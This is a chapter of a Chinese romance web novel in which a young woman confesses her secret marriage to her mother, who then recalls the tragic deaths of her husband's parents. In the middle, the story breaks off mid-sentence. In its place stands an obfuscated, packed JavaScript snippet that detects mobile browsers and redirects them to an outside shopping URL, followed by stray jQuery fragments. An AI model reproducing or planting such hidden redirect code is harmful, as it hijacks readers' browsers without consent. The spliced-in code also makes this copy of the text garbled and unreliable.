62. 第 62 章

作品:《白色星尘[先婚后爱]

    时从意回了趟西院。


    初夏的傍晚,院子里静悄悄的。


    梧桐树下,几盆多肉在窗台上晒得懒洋洋的,张如芳精心照料的花草在微风中轻轻摇曳。


    没看到母亲的身影,时从意猜她作为席家老宅的主力大厨,这会儿准是在后厨忙活。


    她轻车熟路地进屋放下电脑包,洗了手就溜达到院子里。顺手偷掐了一颗张如芳种的小番茄,酸甜的汁水在口中爆开。又忍不住摸摸这朵月季,碰碰那株茉莉,把几片叶子翻来覆去地看。


    这时张如芳端着一个空簸箕刚从后厨回来,一眼就瞧见自家闺女在祸害她的宝贝花草。


    “你怎么这会儿回来了?”张如芳快步走过来,把东西往石桌上一放,“这都几点了?从市区过来得两个多小时吧?也不提前说一声!”


    “嗯。”时从意跟上去,顺势挽住张茹刚的胳膊:“妈,我有件事要跟你说。”


    “什么事儿不能电话里说?非得跑一趟?”张如芳嘴上抱怨着,眼神却上下打量着女儿,见她气色不错才稍稍放心,“这个点儿回来也没给你留饭!等着,我去看看厨房还有什么能给你对付一口的。”


    说着就要转身。


    “我等一下去后厨蹭点儿就行。”时从意跟在她身后。


    “啪”的一声,张如芳转身就在女儿胳膊上拍了一下,力道不重,却把时从意拍得一缩脖子。


    “你这孩子!你妈我这张脸都快被你丢光了!回回都去厨房打秋风,不知道的还以为我不给吃不给你喝呢!”


    时从意揉着胳膊撇嘴:“妈,我真有重要的事。”


    张如芳已经进了屋,开始收拾茶几上的杂物:“嗯,你说。”


    她拿起一个青花瓷花瓶,用抹布仔细擦拭着。


    时从意盯着那个沉甸甸的花瓶,想到后面要说的事儿,有些害怕。


    “要不……您先放下那个?”她小心翼翼地提议。


    “干嘛?”张如芳莫名其妙地看了她一眼,手上的动作不停,“就你成天作妖,爱说不说。”


    时从意深吸一口气,气沉丹田,语速快得像机关枪:“我结婚了。”


    说完立即往后退了半步,双手不自觉地摆出防御姿势。


    空气瞬间凝固了。


    下一秒,张如芳猛地转过身,声音陡然拔高:“你说什么!”


    她瞪圆了眼睛,手里的花瓶“咣当”一声砸在茶几上,“我就说之前你跟我叨叨什么‘有个朋友闪婚’,敢情是在给我吹风呢!”


    时从意见势不妙,转身就跑,嘴里还不忘求饶:“妈,您刚拆石膏没多久!不能剧烈运动!不能累着!”


    张如芳抄起鸡毛掸子就追了上去,“我打你还用累着?顺手的事儿!”


    母女俩绕着院子里的石桌转了两圈,张如芳停下来喘了口气,手里的“凶器”还直指着时从意。


    时从意趁机躲在树后面,祸水东引:“您怎么不按流程来呢?您赶紧问那个人是谁!”


    “我管他是谁!”张如芳追得上气不接下气,这才反应过来,鸡毛掸子”啪”地拍在石桌上,喘着粗气问:“行,那你说是谁?”


    “席琢珩。”


    时从意飞快报出名字,又往树后缩了缩。那副没义气样儿,活像小学生跟老师打小报告。


    张如芳再次抄起鸡毛掸子的手僵在了半空中:“你再说一遍?谁?”


    “就……席琢珩啊。”时从意手忙脚乱掏出手机,把提前准备好的照片翻了出来,“您看!结婚证!!”


    张如芳一把夺过手机,眯着眼睛放大照片。


    结婚证照片上,时从意微微睁大眼睛,表情懵懂。而身旁的席琢珩却笑得眉眼舒展,连平日里冷峻的轮廓都柔和了几分。


    张如芳看看照片,又看看躲在树后探头探脑的女儿,再看看照片底部清晰印着的登记日期。


    两个月前。


    她握着手机的手微微发抖,一时间竟分不清是气还是惊。


    时从意生怕张如芳不信,赶紧蹦出来划到下一张,“您看这张合影,后面电子屏还显示着我们的名字和登记日期!”


    合影里,两人站在民政局背景墙前,身后的电子屏幕上赫然滚动着名字和日期。


    张如芳这次直接气笑了,她叉着腰站在原地,鸡毛掸子又举了起来。


    “我说上周他提溜着那么老些个燕窝、虫草、人参鹿茸的,堆得跟小山似的来看我这个‘劳苦功高’的老骨头!合着上周那堆补品不是因为我劳苦功高?是来孝敬他丈母娘的!”


    她重点在于席琢珩带着大包小包来看她,那副恭敬的样子,现在想来简直别有用心。


    “我还当着你们的面说什么‘祝你们婚姻美满’,敢情是在祝福我自个儿闺女呢?!”


    时从意赶紧从树后探出半个身子,指天发誓,“没有没有没,他绝对是敬重您、尊敬您、肯定您的辛劳!绝对的!那些东西就是冲着您这个人,您的手艺,您照顾老夫人的功劳!跟您是谁没关系!”


    张如芳追得累了,顺势扶着腰直喘气。


    时从意见状连忙搀着她坐到院里的藤椅上,又麻利地倒了杯温水递过去。


    “我跟你说的话,你是一句都没听进去啊。”张如芳喝了口水,继续道:“我在席家工作这么多年,虽然老夫人待我没得说,但席家那边……”她朝东边努了努嘴,“老爷子可不是好相处的。我之前让你少打听席家的事,就是怕人多嘴杂你知道太多不好。现在倒好,你是直接搅进来了!”


    时从意挨着她坐下,挽着她的胳膊,眨巴着眼睛:“妈,要不说侄女莫若母呢。不瞒您说,我今天跟您坦白就是因为老爷子那边……找来了。不然,我还能再瞒一阵子。”


    她心里清楚,若非苏琼的电话,她可能还会继续鸵鸟心态。


    张如芳一听,气得又想拍她:“很骄傲是吧?!还‘再瞒一阵子’!你当这是过家家呢!”


    “不是当过家家,我自己倒没什么,兵来将挡水来土掩呗。我就怕……怕那位苏老师的手万一伸到您这儿来了,说些有的没的。与其让您在外面捕风捉影,还不如我自己跟您说清楚。”


    这是她的真心话,她最担心的就是母亲被牵扯进来,受到伤害或委屈。


    张如芳听了这话,心头的火气消散了大半。


    她叹了口气,轻轻抚摸着女儿的头发:“你放心吧,你妈我这么些年也算是见过大世面的了。老宅这边只要老夫人在一天,那边的手就伸不进来。倒是席先生……他对你好吗?”


    听到这里,时从意终于松了口气。她脸上不自觉地漾开笑意,语带调侃道:“他对我好不好,您那堆补品山还看不出来啊?”


    张如芳听了就来气,轻轻拍了女儿一下:“也是,我姑娘长得漂亮又优秀还能赚钱,打着灯笼也找不到。”


    张如芳这句话让时从意心头一颤。


    她一直以为母亲会因为身份差距而反对这门婚事,毕竟张如芳这些年总是有意无意地暗示她少来席家老宅。此刻才明白,母亲担心的从来不是门第之别,而是席家那潭深不见底的水。


    张如芳此刻如此直白且滤镜强大的肯定和骄傲,让时从意有些意外。


    原来在妈妈眼里,自己从来都是最好的,配得上任何人。


    时从意心里有暖又涩,轻轻蹭了蹭母亲的肩膀。


    张如芳感受到女儿突如其来的依恋,心中也是一片酸软,语气变得悠远而沉重:“釉釉啊,席家的事太复杂。席先生那孩子,十多岁的时候我就看着他长大。明明跟你差不多年纪,可那眼神做派沉稳得吓人,老成得不像个孩子。”


    “五岁那年他妈妈就没了,说是抑郁,自己开车出事走的。可怪就怪在听说前一天,她还兴致勃勃地跟人商量,说要给席先生找个好老师教他画画,说他手指长有灵气,结果第二天……”


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663697|185320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摇了摇头,没再说下去,但眼神里的唏嘘说明了一切。“那时候席老爷子还住在这里,事发后把席董夫人身边所有人都换了一遍。”


    她的话里,藏着那个年代大家族讳莫如深的秘密。


    而时从意却因为听到了这些往事,心里泛起阵阵钝痛。


    她知道席琢珩母亲早逝,却不知其中还有这样的隐秘。


    那些被刻意掩埋的真相,那个五岁就失去母亲的孩子,如今想来都让她心疼不已。


    “后来席先生的父亲,席董,在海上出了事,说是海钓遇难。等搜救队找到的时候都过去了好多天,人……被海水泡得不成样子。”张如芳说着,闭上眼睛,仿佛不忍回忆听来的惨状。


    “救援的人说,席董身上那件救生衣里,贴着胸口的地方,装着一张用防水袋仔仔细细封好的照片,是他和席先生妈妈,年轻时在港岛太平山顶拍的合照……”


    说到这里,张如芳的顿了顿,声音轻得几乎听不见;“你说,他是不是……是不是早就预感到了什么?不然怎么会把照片保护得那么周全.。”


    “席董走的那天,席先生那会儿才十岁吧。老文说那孩子脸上一滴泪都没有,平静得可怕,甚至还能条理清晰跟那些前来吊唁的长辈们答礼。听到这里我当时心里那个疼啊……那个孩子好像连哭都不会了,或者说,不敢哭了……”


    她用力握紧了时从意的手,声音有些哽咽,才发现女儿早已泪流满面。


    “我每次看到席先生,就想到你,你爸爸走的时候,你也是十岁……”


    时从意记得那个暴雨倾盆的夜晚,前来报信的人浑身泥水的样子。雨水顺着他的雨衣往下淌,在门口积成一小滩水洼。


    她的父亲生前是水文水资源勘测局的副总工程师,那年带着最得意的徒弟进山勘测,突然遭遇了山体滑坡。师徒二人为了给村民争取撤离时间,留在危险区拉响警报、挨家挨户拍门示警,最终永远留在了那片翻滚的泥浆里。


    而时从意父亲所带的那位徒弟,是家里的独子。张如芳不忍二老白发人送黑发人,也一并承担了照顾他们的责任,直到三年前最后一名老人离世。


    “釉釉,这么些年妈也没跟你说过对不起,那时候把你丢给你外婆照顾……”


    “妈,“时从意紧紧抱住母亲,“您才是最了不起的。”她的声音闷在母亲肩头,“爸爸走后,您不仅撑起了这个家,还一直照顾着那位师兄的父母。”


    她记得每个月,母亲都会雷打不动地给那对失去独子的老人寄钱。


    后来她要读书,还有各种开销,家里实在周转不开,母亲才托了一个熟人介绍,来了席家做厨娘。


    “嗐,那有什么,我总不能见你爸爸生前当半个儿子的孩子,家里老人老无所依吧。再说我也是运气好,遇到老夫人这样的善心人,给的薪水又多,喜欢我做的几道家乡小菜,这一待,就是这么多年。”


    寥寥数语,勾勒出一个普通女性在命运重击下的坚韧与善良。但这其中的艰辛与牺牲,绝对不是三言两语就能道尽的。


    时从意再也忍不住,紧紧依偎着母亲。不仅为母亲的坚强而心疼,同时也为那个十岁就失去双亲的席琢珩而心痛。


    就在这被温情包裹的静谧时刻,张如芳像是从回忆里惊醒,她微微拉开距离,好奇地问女儿。


    “你跟席先生……是怎么突然在一起的?我记得你们之前不太熟啊。”


    时从意心下一跳,心虚地望向一边。


    她不能说实话。


    不能让母亲知道这场婚姻,最初只是为了帮席琢珩抵抗家族联姻。


    她吸了吸鼻子,带着些鼻音随口胡诌:“他、他暗恋我呗,我看他人又还行,都老大不小了,就在一起了。”


    张如芳仿佛听到天方夜谭,她猛地坐直身体,上下打量着时从意。


    “席先生暗恋你什么?暗恋你走路不看路,三天两头撞门框?”